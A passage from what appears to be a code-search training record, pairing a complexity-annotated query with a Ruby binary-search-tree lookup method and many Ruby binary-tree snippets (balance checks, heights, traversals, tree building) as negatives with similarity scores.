"def betterIsBST?(root_node, max, min) #O(n) time, checks each node once\n return true if root_node.nil?\n \n max_check = !max || root_node.val < max\n min_check = !min || root_node.val > min\n \n unless max_check && min_check\n return false #evaluate self first\n end\n \n left = betterIsBST?(root_node.left, root_node.val, min)\n right = betterIsBST?(root_node.right, max, root_node.val)\n \n return left && right #tell children to evaluate themselves\nend",
"def count_leaf_nodes(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_leaves = count_leaf_nodes(node.left_child)\n right_leaves = count_leaf_nodes(node.right_child)\n return left_leaves + right_leaves\n end\nend",
"def height_helper(current_node, level = 0)\n return level if !current_node\n level = [height_helper(current_node.left, level + 1), height_helper(current_node.right, level + 1)].max\n return level\n end",
"def main8()\n t = Tree.new()\n arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n t.createBinarySearchTree(arr)\n print(t.ancestor(1, 10).value,\"\\n\")\n # 5\n print(t.ceilBST(5.5),\"\\n\")\n\t# 6\n print(t.floorBST(5.5),\"\\n\")\n\t# 5\n arr1 = [5, 2, 4, 6, 9, 10]\n arr2 = [5, 2, 6, 4, 7, 9, 10]\n print(t.isBSTArray(arr1),\"\\n\")\n print(t.isBSTArray(arr2),\"\\n\")\n # true\n # false\nend",
"def rebalance\n order = self.level_order\n return build_tree(order)\n end",
"def balanced?(current_node = root)\n depth(current_node) == -1 ? false : true\n end",
"def height(current_node = @root)\n if current_node.nil?\n return 0\n end\n \n r = height(current_node.right)\n l = height(current_node.left)\n \n return [r, l].max + 1\n end",
"def depth\n if empty?\n 0\n else\n if @left==nil || @right==nil\n if (@left==nil&&@right==nil) then 1\n else -1\n end\n else\n left, right = @left.depth, @right.depth\n if left==-1||right==-1||left!=right then -1\n else 1+left\n end\n end\n end\n end"
] | [
"0.71738696",
"0.6984392",
"0.68886054",
"0.6881646",
"0.6790585",
"0.6782054",
"0.67194617",
"0.6715604",
"0.6690582",
"0.6672468",
"0.6662059",
"0.6631104",
"0.6598033",
"0.6551444",
"0.65333796",
"0.65164113",
"0.650183",
"0.64850485",
"0.6465149",
"0.64647216",
"0.6461742",
"0.64489144",
"0.6437424",
"0.6418126",
"0.64057255",
"0.6374949",
"0.6370523",
"0.63606507",
"0.6327159",
"0.6326641",
"0.6325947",
"0.63137263",
"0.6310336",
"0.63071454",
"0.63024724",
"0.62919605",
"0.6283238",
"0.62803644",
"0.6275556",
"0.62536037",
"0.62437725",
"0.6229815",
"0.6228889",
"0.6221879",
"0.6219444",
"0.62160975",
"0.62082636",
"0.6197194",
"0.6175544",
"0.6170479",
"0.61550826",
"0.6149802",
"0.614278",
"0.61354184",
"0.6121444",
"0.61119807",
"0.6097336",
"0.60954946",
"0.6093981",
"0.6077408",
"0.607582",
"0.6049975",
"0.6045666",
"0.6028061",
"0.6018738",
"0.6013444",
"0.60117245",
"0.6007697",
"0.6007648",
"0.60048074",
"0.5985571",
"0.59807324",
"0.5962056",
"0.5953847",
"0.59518075",
"0.5948611",
"0.59434074",
"0.592366",
"0.5911162",
"0.58920294",
"0.58908623",
"0.5887078",
"0.5886537",
"0.58807236",
"0.58651066",
"0.5859201",
"0.5857194",
"0.5854761",
"0.5853997",
"0.5846535",
"0.58445907",
"0.5837359",
"0.58331245",
"0.58320653",
"0.58248633",
"0.5822523",
"0.5816532",
"0.58143383",
"0.5806884",
"0.580462",
"0.5799444"
] | 0.0 | -1 |
Time Complexity: O(log n) if tree is balanced, n is size of tree O(n) in worst case where n is also size of tree Space Complexity: O(1) | def find(key)
return nil if @root.nil?
current = @root
while current
if key > current.key
current = current.right
elsif key < current.key
current = current.left
else
return current.value
end
end
return nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def is_balanced(root)\n # 1) empty trees are balanced.\n return true if root.nil?\n\n # 2) find left and right depth\n left_bal = depth(root.left)\n right_bal = depth(root.right)\n\n #\n (left_bal - right_bal).abs <= 1 &&\n is_balanced(root.left) &&\n is_balanced(root.right)\nend",
"def balanced?(tree_root)\n return true unless tree_root\n depths = []\n nodes = []\n nodes << [tree_root, 0]\n until nodes.empty?\n node, depth = nodes.pop\n if !node.left && !node.right\n unless depths.include?(depth)\n depths.push(depth)\n if depths.length > 2 || depths.length == 2 && (depths[0] - depths[1]).abs > 1\n return false\n end\n end\n else\n nodes << [node.left, depth + 1] if node.left\n nodes << [node.right, depth + 1] if node.right\n end\n end\n true\nend",
"def is_balanced(root)\n return true if root.nil?\n left_height = depth(root.left)\n right_height = depth(root.right)\n result = (left_height - right_height).abs\n return false if result > 1\n return is_balanced(root.left) && is_balanced(root.right)\nend",
"def is_balanced(tree, index = 0)\n return true if tree[index].nil? || tree[index] == 0\n (find_height(tree, 2*index + 1) - find_height(tree, 2*index + 2)).abs <= 1 && is_balanced(tree, 2*index + 1) && is_balanced(tree, 2*index +2)\nend",
"def balanced?\n # tree is balanced if the difference between left and right depths is within 1\n (Tree.depth(root.left) - Tree.depth(root.right)).abs <= 1\n end",
"def super_balanced(tree)\n if !tree\n return true\n end\n \n depths = []\n nodes = []\n nodes.push([tree, 0])\n \n while !nodes.empty?\n node, depth = nodes.pop\n \n if !node.left && !node.right\n if !depths.include? depth\n depths.push(depth)\n \n if (depths.length > 2) || (depths.length == 2 && (depths[0] - depths[1]).abs > 1)\n return false\n end\n \n end\n else\n if node.left\n nodes.push([node.left, depth+1])\n end\n if node.right\n nodes.push([node.right, depth+1])\n end\n end\n end\n \n return true \nend",
"def rebalance!\n # Short-circut if already balanced.\n return @root if balanced?\n\n @root = build_tree(inorder)\n end",
"def height_balanced(root)\n return true if root.nil?\n\n left, right = root.left, root.right\n left_depth, right_depth = max_depth(left), max_depth(right)\n\n (left_depth - right_depth) <= 1 &&\n height_balanced(left) &&\n height_balanced(right)\nend",
"def number_of_half_nodes_in_binary_tree(root)\n return 0 if !root\n count = 0\n queue = Queue.new()\n queue.enqueue(root)\n while(!queue.is_empty?)\n node = queue.dequeue\n\n count += 1 if (node.left_child && !node.right_child) || (!node.left_child && node.right_child)\n\n queue.enqueue(node.left_child) if node.left_child\n queue.enqueue(node.right_child) if node.right_child\n end\n count\nend",
"def size(tree)\n if isEmpty?(tree)\n 0\n else\n 1 + size(tree.left) + size(tree.right)\n end\nend",
"def balanced?(node = root)\n return true if node.nil?\n\n left_height = height(node.left)\n right_height = height(node.right)\n\n return true if (left_height - right_height).abs <= 1 && balanced?(node.left) && balanced?(node.right)\n\n false\n end",
"def is_balanced(root)\n return true if root.nil?\n\n depth_diff = max_depth(root.left) - max_depth(root.right)\n\n return depth_diff.abs <= 1 && is_balanced(root.left) && is_balanced(root.right)\nend",
"def is_balanced_binary_tree?(root)\n is_balanced_rec(root) != -1\nend",
"def balanced?\n difference_left_right = @root.left_child.depth - @root.right_child.depth\n difference_left_right.between?(-1, 1)\n end",
"def is_balanced?\n diff = (self.left.depth - self.right.depth).abs\n if diff <= 1\n true\n else\n false\n end\n end",
"def is_balanced?(tree_node = @root)\n left_depth = depth(tree_node.left)\n right_depth = depth(tree_node.right)\n\n return left_depth == right_depth\n\n end",
"def is_balanced(tree_root)\n depths = [] # we short-circuit as soon as we find more than 2\n \n # we'll treat this array as a stack that will store pairs [node, depth]\n nodes = []\n nodes.push([tree_root, 0])\n \n while !nodes.empty?\n # pop a node and its depth from top of stack\n node, depth = nodes.pop\n \n # case: we found a leaf\n if !node.left && !node.right\n \n # we only care if it's a new depth\n if !depths.include? depth\n depths.push(depth)\n \n # two ways we might now have an unbalanced tree\n # 1. more than 2 different leaf depths\n # 2. 2 leaf depths that are more than 1 apart\n if (depths.length > 2) || \\\n (depths.length == 2 && (depths[0] - depths[1]).abs > 1)\n return false\n end\n end\n # case: this isn't a leaf - keep stepping down\n else\n if node.left\n nodes.push([node.left, depth + 1])\n end\n if node.right\n nodes.push([node.right, depth + 1])\n end\n end\n end\n return true\n \nend",
"def is_balanced?(tree_node = @root)\n # byebug\n return true if tree_node.nil?\n left_depth = tree_node.left ? depth(tree_node.left) : -1 \n right_depth = tree_node.right ? depth(tree_node.right) : -1\n if ((left_depth - right_depth).abs <=1) && is_balanced?(tree_node.left) && is_balanced?(tree_node.right)\n return true \n end \n false\n end",
"def rebalance\n @root = build_tree(self.level_order_traversal) if !self.balanced?\n end",
"def balanced?\n (height(@root.left) - height(root.right)).between?(-1, 1)\n end",
"def utopian_tree_size(n)\n\n\t# Using the formula above, the solution is quite simple\n\t# (n) = (2^(m+1) - 2) + 1(1 - n mod 2), where m = ( n + n mod 2) / 2\n\n\t# Find the max M \n\tm = ( n + n % 2) / 2\n\n\t# Get the result \n\t(2**(m+1) - 2 + 1*(1 - n % 2))\nend",
"def balanced?(current_node = root)\n depth(current_node) == -1 ? false : true\n end",
"def balance\n node = self\n i = (node.count(:right) - node.count(:left))/2\n while (i!=0)\n if (i>0)\n mvnode = node.right\n node.right = nil\n mvnode.add_horizontal node\n i -= 1\n else\n mvnode = node.left\n node.left = nil\n mvnode.add_horizontal node\n i += 1\n end\n node = mvnode\n end\n if (node.left != nil)\n node.left = node.left.balance\n end\n if (node.right != nil)\n node.right = node.right.balance\n end\n if (node.down != nil)\n node.down = node.down.balance\n end\n node\n end",
"def dp_possible_trees(n)\n array = Array.new(n+2) { Array.new(n+1) { 0 } }\n (0...n+2).to_a.each do |i|\n array[i][0] = 1\n end\n\n sum = 0\n (1...n+1).to_a.each do |i|\n sum = 0\n (1..i).to_a.each do |j|\n array[j][i] = array[n+1][i-j] * array[n+1][j-1]\n sum += array[j][i]\n end\n array[n+1][i] = sum\n end\n array[n+1].last\nend",
"def find_height_nodes(root) # O(n)\n return 0 if root == nil\n left_height = 1 + find_height_nodes(root.left)\n right_height = 1 + find_height_nodes(root.right)\n\n return (left_height > right_height)? left_height : right_height\nend",
"def half_nodes_count(root)\n if root.nil?\n puts 'Empty tree'\n return\n end\n half_nodes_count = 0\n queue = QueueWithLinkedList.new\n queue.enqueue(root)\n while !queue.isEmpty?\n node = queue.dequeue\n half_nodes_count += 1 if ((node.left && !node.right) || (!node.left && node.right))\n queue.enqueue(node.left) if node.left\n queue.enqueue(node.right) if node.right\n end\n half_nodes_count\n end",
"def max_depth(root)\n node_queue = [root]\n depth = 0\n\n while node_queue.any?\n depth += 1\n breadth = node_queue.size\n breadth.times do\n node = node_queue.shift\n node_queue.push(node.left) unless node.left.nil?\n node_queue.push(node.right) unless node.right.nil?\n end\n end\n\n depth\nend",
"def size_without_recursion\n count = 0\n return 0 unless @root\n q = QueueWithLinkedList.new\n q.enqueue(@root)\n while !q.isEmpty?\n node = q.dequeue\n count += 1\n q.enqueue(node.left) if node.left\n q.enqueue(node.right) if node.right\n end\n count\n end",
"def subtree_size(node)\n return 0 if node.nil?\n\n 1 + subtree_size(node.left) + subtree_size(node.right)\n end",
"def size(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_size = size(node.left_child)\n right_size = size(node.right_child)\n return left_size + 1 + right_size\n end\nend",
"def balanced?\n left = height(@root.left_node)\n right = height(@root.right_node)\n\n if (left - right).abs <= 1\n return true\n end\n\n return false\n end",
"def balanced_binary_with_sorted_array(arr, min, max)\n return nil if min > max\n mid = (min + max) / 2\n # Always passes the next middle as next root, so the tree stays balanced.\n root = TreeNode.new(arr[mid])\n root.left = balanced_binary_with_sorted_array(arr, min, mid - 1)\n root.right = balanced_binary_with_sorted_array(arr, mid + 1, max)\n root\n end",
"def buildTree(node,arr)\n node.value = arr.shift\n size = (arr.size/2.0).round\n if size > 0\n left, right = arr.each_slice( size ).to_a\n if left and left.count > 0\n node.left = TreeNode.new\n buildTree(node.left, left)\n end\n if right and right.count > 0\n node.right = TreeNode.new\n buildTree(node.right, right)\n end\n end\nend",
"def recursive_binary_tree_height(node)\n return 0 if node.nil?\n left = recursive_binary_tree_height(node.left)\n right = recursive_binary_tree_height(node.right)\n [left, right].max + 1\nend",
"def build_tree( n , d )\n \n if d.key?('v')\n n < d['v'] ? build_tree(n , d['l']) : build_tree(n, d['r'])\n else\n d['l'] = {}\n d['v'] = n\n d['r'] = {}\n end\n \nend",
"def total_node_number(tree)\n if tree.root == nil\n 0\n else\n left_tree = MyBinaryTree.new\n left_tree.root = tree.root.left_child\n right_tree = MyBinaryTree.new\n right_tree.root = tree.root.right_child\n 1+total_node_number(left_tree)+total_node_number(right_tree)\n end\nend",
"def create_binary_search_tree(size)\n\t\tarray_of_nums = (0..size).to_a.shuffle\n\t\tnew_tree = BinarySearchTree.new\n\t\tarray_of_nums.each do |num|\n\t\t\tnew_tree.insert(num)\n\t\tend\n\t\treturn new_tree\n\tend",
"def height\n return 0 if is_empty\n\n queue = [@root]\n height = 0\n\n while true\n node_count = queue.length\n\n return height if node_count == 0\n\n height += 1\n\n while node_count > 0\n node = queue.shift()\n\n queue << node.left unless node.left.nil?\n queue << node.right unless node.right.nil?\n\n node_count -= 1\n end\n end\n end",
"def is_balanced(root)\n Struct.new(\"BalancedStatus\", :balanced, :height)\n check_balanced(root).balanced\nend",
"def heapify(index)\n left = @tree[left(index)]\n right = @tree[right(index)]\n current = @tree[index]\n if !left && !right # if no children exist nothing to compare with\n nil\n elsif left && !right\n if left.rating < current.rating\n temp = @tree[index]\n @tree[index] = @tree[left]\n @tree[left] = temp\n #no need to heapify at a leaf\n end\n elsif left.rating < current.rating || right.rating < current.rating\n if @tree[left].rating <= @tree[right].rating\n temp = @tree[index] #current index and left swap if it's the smaller of two children\n @tree[index] = @tree[left]\n @tree[left] = temp\n heapify(left(index))\n elsif @tree[right].rating < @tree[left].rating\n temp = @tree[index] #current index and left swap if it's the smaller of two children\n @tree[index] = @tree[right]\n @tree[right] = temp\n heapify(right(index))\n end\n end\n end",
"def find_breadth_traversal_tree(in_order,post_order,level, h)\n # level => 0F 0T 1F 1T etc\n if in_order.size == nil || in_order.size == 0\n puts \"finish\"\n elsif in_order.size == 1\n # finish\n yield(level, in_order[0])\n puts \"#{level} \\t #{in_order[0]}\"\n else \n # this is not finished yet\n max_index_in_post = 0\n max_index_in_in = 0\n in_order.each_with_index do |in_ele,in_index|\n post_index = post_order.index(in_ele)\n\n if post_index > max_index_in_post\n max_index_in_post = post_index\n max_index_in_in = in_index\n end\n\n end\n current_root = in_order[max_index_in_in]\n yield(level, current_root)\n puts \"#{level} \\t #{current_root}\"\n\n level[0] = (Integer(level[0])+1).to_s\n next_level_f = level+\"F\"\n next_level_t = level+\"T\"\n front_of_in = in_order[0...max_index_in_in]\n tail_of_in = in_order[(max_index_in_in+1)...in_order.size]\n \n #\n find_breadth_traversal_tree(front_of_in,post_order,next_level_f, h) {|level,ele| h[level] = ele}\n find_breadth_traversal_tree(tail_of_in,post_order,next_level_t, h) {|level,ele| h[level] = ele}\n\n #\n end # end of else\n\n\nend",
"def superbalanced?(root)\n terminating_levels = []\n\n nodes_to_check = []\n\n nodes_to_check << [root, 0]\n\n until nodes_to_check.empty?\n current_node, current_level = nodes_to_check[0].first, nodes_to_check.shift.last\n\n if current_node.left || current_node.right\n nodes_to_check << [current_node.left, current_level + 1] if current_node.left\n nodes_to_check << [current_node.right, current_level + 1] if current_node.right\n else\n # if we have found a terminating node, then we must check certain things:\n # if the terminating levels already has 2 elements and\n # this terminating node's current level is distinct, then we short circuit and return false\n # else just continue\n # check whether the current level and the element inside has difference greater than 1\n # if yes, then short circuit and return false\n # else, shovel the current level in and continue\n\n if terminating_levels.length == 2\n return false if !terminating_levels.include?(current_level)\n else\n return false if terminating_levels.length == 1 && !(terminating_levels.first - current_level).between?(-1, 1)\n terminating_levels << current_level if terminating_levels.first != current_level\n end\n end\n end\n\n true\nend",
"def heapify(node)\n parent = node.parent\n left_child = parent.left\n right_child = parent.right\n until node.rating > parent.rating\n if ![left_child, right_child].include?(nil)\n if left_child.rating < right_child.rating\n swap_node(parent, left_child)\n else\n swap_node(parent, right_child)\n end\n else\n swap_node(parent, right_child) if left_child.nil?\n swap_node(parent, left_child) if right_child.nil?\n end\n heapify(parent) unless parent.id == 1\n end\n end",
"def balanced_num(number)\n # Your code goes here\n left = 0\n right = 0\n # convert the integer into an array of digits\n num_array = number.to_s.split(\"\").map{|num| num.to_i}\n\n if num_array.length.even?\n # left = from 0 to length /2 -1\n left = num_array.slice(0, num_array.length / 2 - 1)\n # right from length /2 +1 to end of array\n right = num_array.slice(num_array.length/2 +1, num_array.length)\n # if sum of left = sum of right then return balanced\n compare(left, right)\n else\n # left = from 0 to length / 2\n left = num_array.slice(0, num_array.length / 2)\n # right = from length / 2 to end of array\n right = num_array.slice(num_array.length / 2 + 1, num_array.length)\n # if sum of left = sum of right then return balanced\n compare(left, right)\n end \nend",
"def test_depth_of_method\n tree = BinarySearchTree.new\n tree.insert(50, \"movie a\")\n tree.insert(45, \"movie b\")\n tree.insert(40, \"movie c\")\n tree.insert(35, \"movie d\")\n assert_equal 3, tree.depth_of(35)\n end",
"def in_order_traverse(tree, array)\n if !tree.nil?\n in_order_traverse(tree.left, array)\n array.append(tree.value)\n in_order_traverse(tree.right, array)\n end\n return array\n\n\nend",
"def build_tree(array, left=0, right=array.length-1)\n \n# base case\n return if left > right\n\n# from smallest to largest\n array = merge_sort(array)\n\n# middle index, make this the first node\n index_mid = left + (right-left) / 2 \n node = Node.new(array[index_mid]) \n \n# i think it's making the left node (smaller), & right (larger)\n# looks like it is recursion\n node.left_child = build_tree(array, left, index_mid-1) \n node.right_child = build_tree(array, index_mid+1, right) \n\n @tree = node\n @tree\n end",
"def build_tree(arr)\n #take array, turn into bt with node objs\n return nil if arr.empty?\n\n mid = (arr.size - 1)/2\n current_node = Node.new(arr[mid])\n\n current_node.left = build_tree(arr[0...mid])\n current_node.right = build_tree(arr[(mid+1)..-1])\n \n current_node\n end",
"def build_tree(arr)\n\ntree = []\n\ntree.push(Node.new(arr[0]))\n\n arr[1..-1].each do |i|\n new_node = Node.new(i)\n\n condition = false\n current = tree[0]\n until condition == true\n if i > current.value && current.find_right_child.count == 0\n new_node.create_parent(current)\n current.create_right_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i < current.value && current.find_left_child.count == 0\n new_node.create_parent(current)\n current.create_left_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i > current.value && current.find_right_child.count == 1\n current = current.find_right_child[0]\n elsif i < current.value && current.find_left_child.count == 1\n current = current.find_left_child[0]\n end\n end\n end\n tree\nend",
"def main7()\n t = Tree.new()\n arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n t.createBinarySearchTree(arr)\n t.printInOrder()\n t.printInRange(4, 7)\n t.trimOutsideRange(4, 7)\n t.printInOrder()\nend",
"def rebalance\n order = self.level_order\n return build_tree(order)\n end",
"def main8()\n t = Tree.new()\n arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n t.createBinarySearchTree(arr)\n print(t.ancestor(1, 10).value,\"\\n\")\n # 5\n print(t.ceilBST(5.5),\"\\n\")\n\t# 6\n print(t.floorBST(5.5),\"\\n\")\n\t# 5\n arr1 = [5, 2, 4, 6, 9, 10]\n arr2 = [5, 2, 6, 4, 7, 9, 10]\n print(t.isBSTArray(arr1),\"\\n\")\n print(t.isBSTArray(arr2),\"\\n\")\n # true\n # false\nend",
"def tree(n)\n SegmentTree.new list(n)\nend",
"def build_tree(arr)\n if arr.empty?\n return nil\n end\n\n mid = arr.length/2\n root = Node.new(arr[mid])\n\n root.left = build_tree(arr[0...mid])\n root.right = build_tree(arr[(mid+1)..-1])\n\n root\nend",
"def build_tree(arr, root, i, n)\n\tif i < n\n\t\troot = TreeNode.new(arr[i])\n\t\troot.left = build_tree(arr, root.left, i*2+1, n)\n\t\troot.right = build_tree(arr, root.right, i*2+2, n)\n\tend\n\treturn root\nend",
"def func(node,subtree_node_index_in_array,subtree_begin_index,subtree_end_index)\n\tif subtree_begin_index == subtree_end_index\n\t\t#puts \"leaf node begin #{subtree_begin_index} and end #{subtree_end_index}\"\n\t\t#puts $inorder_array[subtree_begin_index]\n\telse\n\t\t$preorder_index = $preorder_index + 1\n\t\tleft_subtree_node_value = $preorder_array[$preorder_index]\n\t\tleft_subtree_node_index_in_array = find_index_of_value_in_in_array(left_subtree_node_value,subtree_begin_index,subtree_node_index_in_array - 1)\n\t\tleft_node = Btnode.new($inorder_array[left_subtree_node_index_in_array])\n\t\tnode.left = left_node\n\t\tfunc(left_node,left_subtree_node_index_in_array,subtree_begin_index,subtree_node_index_in_array - 1 )\n\t\t#puts \"subtree node at #{$inorder_array[subtree_node_index_in_array]}\"\n\t\t#puts $inorder_array[subtree_node_index_in_array]\n\t\t$preorder_index = $preorder_index + 1\n\t\tright_subtree_node_value = $preorder_array[$preorder_index]\n\t\tright_subtree_node_index_in_array = find_index_of_value_in_in_array(right_subtree_node_value,subtree_node_index_in_array + 1,subtree_end_index)\n\t\tright_node = Btnode.new($inorder_array[right_subtree_node_index_in_array]) \n\t\tnode.right = right_node\n\t\tfunc(right_node,right_subtree_node_index_in_array,subtree_node_index_in_array + 1,subtree_end_index)\n\tend\nend",
"def serialize_binary_search_tree_helper( node, nodes_array)\n \n if node.nil?\n return nil\n end\n \n s_node = Serilized_Node.new(node.value)\n \n nodes_array.push(s_node)\n node_index = nodes_array.size - 1 #the index of the sub tree root\n s_node.left_child_index = serialize_binary_search_tree_helper(node.left, nodes_array)\n s_node.right_child_index = serialize_binary_search_tree_helper(node.right, nodes_array)\n\n \n return node_index\nend",
"def binary_tree_inorder_iterative(root)\n return if root.nil?\n\n stack = Array.new\n\n while (stack.length != 0 || root)\n if root\n stack.push(root)\n root = root.left\n else\n root = stack.pop()\n print \"#{root.value} \"\n root = root.right\n end\n end\nend",
"def height(node, height_num = 0)\n #1. get the node from the tree that we are starting from if it's not the correct class\n if (node != nil && node.class != Node)\n node = find_node(node)\n #1.5 recurisvely return height_num if node has no children\n end\n if(node.nil? || node.left.nil? && node.right.nil?)\n return height_num \n end\n height_num += 1 \n #4. start a recursive call on the left node to travel down all of it's node\n right_height_value = height(node.right,height_num)\n #5. compare values of left and right recursive values\n left_height_value = left_height(node.left) \n result = left_height_value > right_height_value ? left_height_value : right_height_value\n #6. return the value of the height of the node\n return result\n end",
"def size\n return @tree.size\n end",
"def balance_factor(node)\n node.nil? ? 0 : (height(node.left) - height(node.right))\n end",
"def bfs\n # this is 'really' a traversal, but this type of search is similar to what we'll be doing with graphs and it's called 'breadth first search'\n list = []\n return list if @root.nil?\n queue = [@root]\n\n until queue.empty?\n # big O of shift is O(n)\n current = queue.shift\n # how to check if current has a left subtree?\n queue.push(current.left) unless current.left.nil?\n queue.push(current.right) unless current.right.nil?\n\n list << { key: current.key, value: current.value}\n end\n end",
"def post_order_traverse(tree, array)\n if !tree.nil?\n post_order_traverse(tree.left, array)\n post_order_traverse(tree.right, array)\n array.append(tree.value)\n end\n \n return array\n\nend",
"def betterIsBST?(root_node, max, min) #O(n) time, checks each node once\n return true if root_node.nil?\n \n max_check = !max || root_node.val < max\n min_check = !min || root_node.val > min\n \n unless max_check && min_check\n return false #evaluate self first\n end\n \n left = betterIsBST?(root_node.left, root_node.val, min)\n right = betterIsBST?(root_node.right, max, root_node.val)\n \n return left && right #tell children to evaluate themselves\nend",
"def full_nodes_count(root)\n if root.nil?\n puts 'Empty tree'\n return\n end\n full_nodes_count = 0\n queue = QueueWithLinkedList.new\n queue.enqueue(root)\n while !queue.isEmpty?\n node = queue.dequeue\n full_nodes_count += 1 if node.left && node.right\n queue.enqueue(node.left) if node.left\n queue.enqueue(node.right) if node.right\n end\n full_nodes_count\n end",
"def make_binary_tree(sorted_array)\n if sorted_array.length == 0\n return nil\n elsif sorted_array.length == 1\n return TreeNode.new(sorted_array[0])\n end\n divide_index = sorted_array.length / 2\n tree_node = TreeNode.new(sorted_array[divide_index])\n tree_node.left = make_binary_tree(sorted_array[0..divide_index-1])\n tree_node.right = make_binary_tree(sorted_array[divide_index+1..sorted_array.length-1])\n return tree_node\nend",
"def node_depths(root)\n sum_of_depths = 0\n stack = [{\"node\"=> root, \"depth\"=> 0}]\n\n while stack.length > 0\n node_info = stack.pop()\n node, depth = node_info[\"node\"], node_info[\"depth\"]\n if node.nil?\n next\n end\n sum_of_depths += depth\n stack.append({\"node\"=> node.left, \"depth\"=> depth + 1})\n stack.append({\"node\"=> node.right, \"depth\"=> depth + 1})\n end\n return sum_of_depths\n\nend",
"def bfs(root)\n # NOTE implement real queue for performance\n queue = []\n root.marked = true\n queue.push(root)\n\n while !queue.empty?\n node = queue.shift\n node.visit\n\n node.adjacent.each do |node|\n if node.marked == false\n node.marked = true\n queue.push(node)\n end\n end\n end\nend",
"def valid_binary_search_tree?(root_node)\n\n stack = [ ]\n\n # Setting lower and upper bounds\n stack << [root_node, -Float::INFINITY, Float::Infinity]\n\n while stack.length != 0\n node, lower_bound, upper_bound = stack.pop\n\n if node.value <= lower_bound || node.value <= upper_bound\n return false\n end\n\n if node.left\n stack << [node.left, lower_bound, node.value] # set upper_bound as node.value b/c left node has be less than current node's value\n end\n\n if node.right\n stack << [node.right, node.value, upper_bound] # set lower_bound as node.value b/c right node has be greater than current node's value\n end\n\n return true\n\n end\n\n\n\n\nend",
"def height(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_height = height(node.left_child)\n right_height = height(node.right_child)\n if left_height >= right_height\n return left_height + 1\n else\n return right_height + 1\n end\n end\nend",
"def getNthBTNode(root, n)\n que, top = [root], 0\n while top < que.size()\n curr = que[top]\n top += 1\n next if curr.nil?\n que << curr.left\n que << curr.right\n return que[n] if que.size() > n\n end\n end",
"def preOrder(root) # O(n)\n\n return nil if root == nil\n\n print \" #{root.value}\"\n preOrder(root.left)\n preOrder(root.right)\n\nend",
"def optimize!\n return nil if @root == nil\n @root.prune\n @root = @root.balance\n end",
"def solution(t)\n # write your code in Ruby 2.2\n depth = 0\n childs = []\n\n childs << t.l if t.l\n childs << t.r if t.r\n\n while not childs.empty? do\n depth += 1\n\n cc = []\n childs.each do |t|\n cc << t.l if t.l\n cc << t.r if t.r\n end\n\n childs = cc\n end\n\n depth\nend",
"def bfs(tree)\n Enumerator.new do |yielder|\n queue = [tree]\n while !queue.empty?\n node = queue.shift\n children = node[1..-1]\n yielder << node.first\n children.each do |child|\n queue << child\n end\n end\n end\nend",
"def build_tree_helper(arr)\n\treturn Node.new(arr[0]) if arr.size == 1\n\tnode = Node.new(arr.slice!(arr.size / 2))\n\ttree = build_tree(arr)\n\tuntil (node.value > tree.value && tree.right_child.nil?) || (node.value <= tree.value && tree.left_child.nil?)\n\t\ttree = node.value > tree.value ? tree.right_child : tree.left_child\n\tend\n\tif node.value > tree.value\n\t\ttree.right_child = node\n\t\tnode.parent = tree\n\telse\n\t\ttree.left_child = node\n\t\tnode.parent = tree\n\tend\nend",
"def recursive_balance(current_node)\n balance = update_balance(current_node)\n\n # check the balance\n case balance\n when -2\n current_node = (height(current_node.left.left) >= height(current_node.left.right)) ? rotate_right(current_node) : double_rotate_left_right(current_node)\n when 2\n current_node = (height(current_node.right.right) >= height(current_node.right.left)) ? rotate_left(current_node) : double_rotate_right_left(current_node)\n end\n\n # traverse upwards until root\n if current_node.parent.nil?\n @root = current_node;\n else\n recursive_balance(current_node.parent);\n end\n end",
"def create_bst(sorted_arr)\n\n return nil if sorted_arr.length == 0\n return BinaryNode.new(sorted_arr[0]) if sorted_arr.length == 1\n if sorted_arr.length == 2\n child = BinaryNode.new(sorted_arr[0])\n parent = BinaryNode.new(sorted_arr[1])\n parent.left = child\n return parent\n end\n\n middle = sorted_arr.length / 2\n left_start = 0\n left_end = (sorted_arr.length / 2) - 1\n right_start = left_end + 2\n right_end = sorted_arr.length\n\n cur_root = BinaryNode.new(sorted_arr[middle])\n cur_root.left = create_bst(sorted_arr[left_start..left_end])\n cur_root.right = create_bst(sorted_arr[right_start..right_end])\n\n return cur_root\n\nend",
"def symmetric_tree(arr)\n rows = Hash.new([])\n n = 0\n until arr.empty?\n (2**n).times { rows[n] += [arr.shift] }\n n += 1\n end\n rows.values.each do |row|\n return false unless row == row.reverse\n end\n true\nend",
"def check_subtree(tree1, tree2)\n # due to the depth of T1 being much larger than T2 a BFS seems more logical\n bfs(tree1.head, tree2,head)\nend",
"def build_tree(ary)\n # If the array is sorted, the tree will not be balanced\n ary.shuffle!\n ary.each { |item| insert(item) }\n end",
"def build_tree(array)\n array.sort!.uniq!\n left = 0\n right = array.length\n\n return build_driver(array, left, right)\n end",
"def balanced?\n height do |left_height, right_height|\n if (left_height - right_height).abs > 1\n return false\n end\n end\n\n return true\n end",
"def build_tree_arbitrary(arr)\n node = Node.new(arr[0])\n queue = [node]\n @root = node\n i = 0\n\n until queue.empty?\n node = queue.shift\n children = node_children(node, i, arr)\n queue.concat(children)\n i += 2\n end\n end",
"def bst?(node)\n result = true\n hopefully_sorted = inorder_traversal_node(node)\n hopefully_sorted.each_with_index do |item, index|\n break if hopefully_sorted[index + 1].nil?\n if hopefully_sorted[index] > hopefully_sorted[index + 1]\n return false\n end\n end\n true\nend",
"def sum_of_left_leaves(root)\nend",
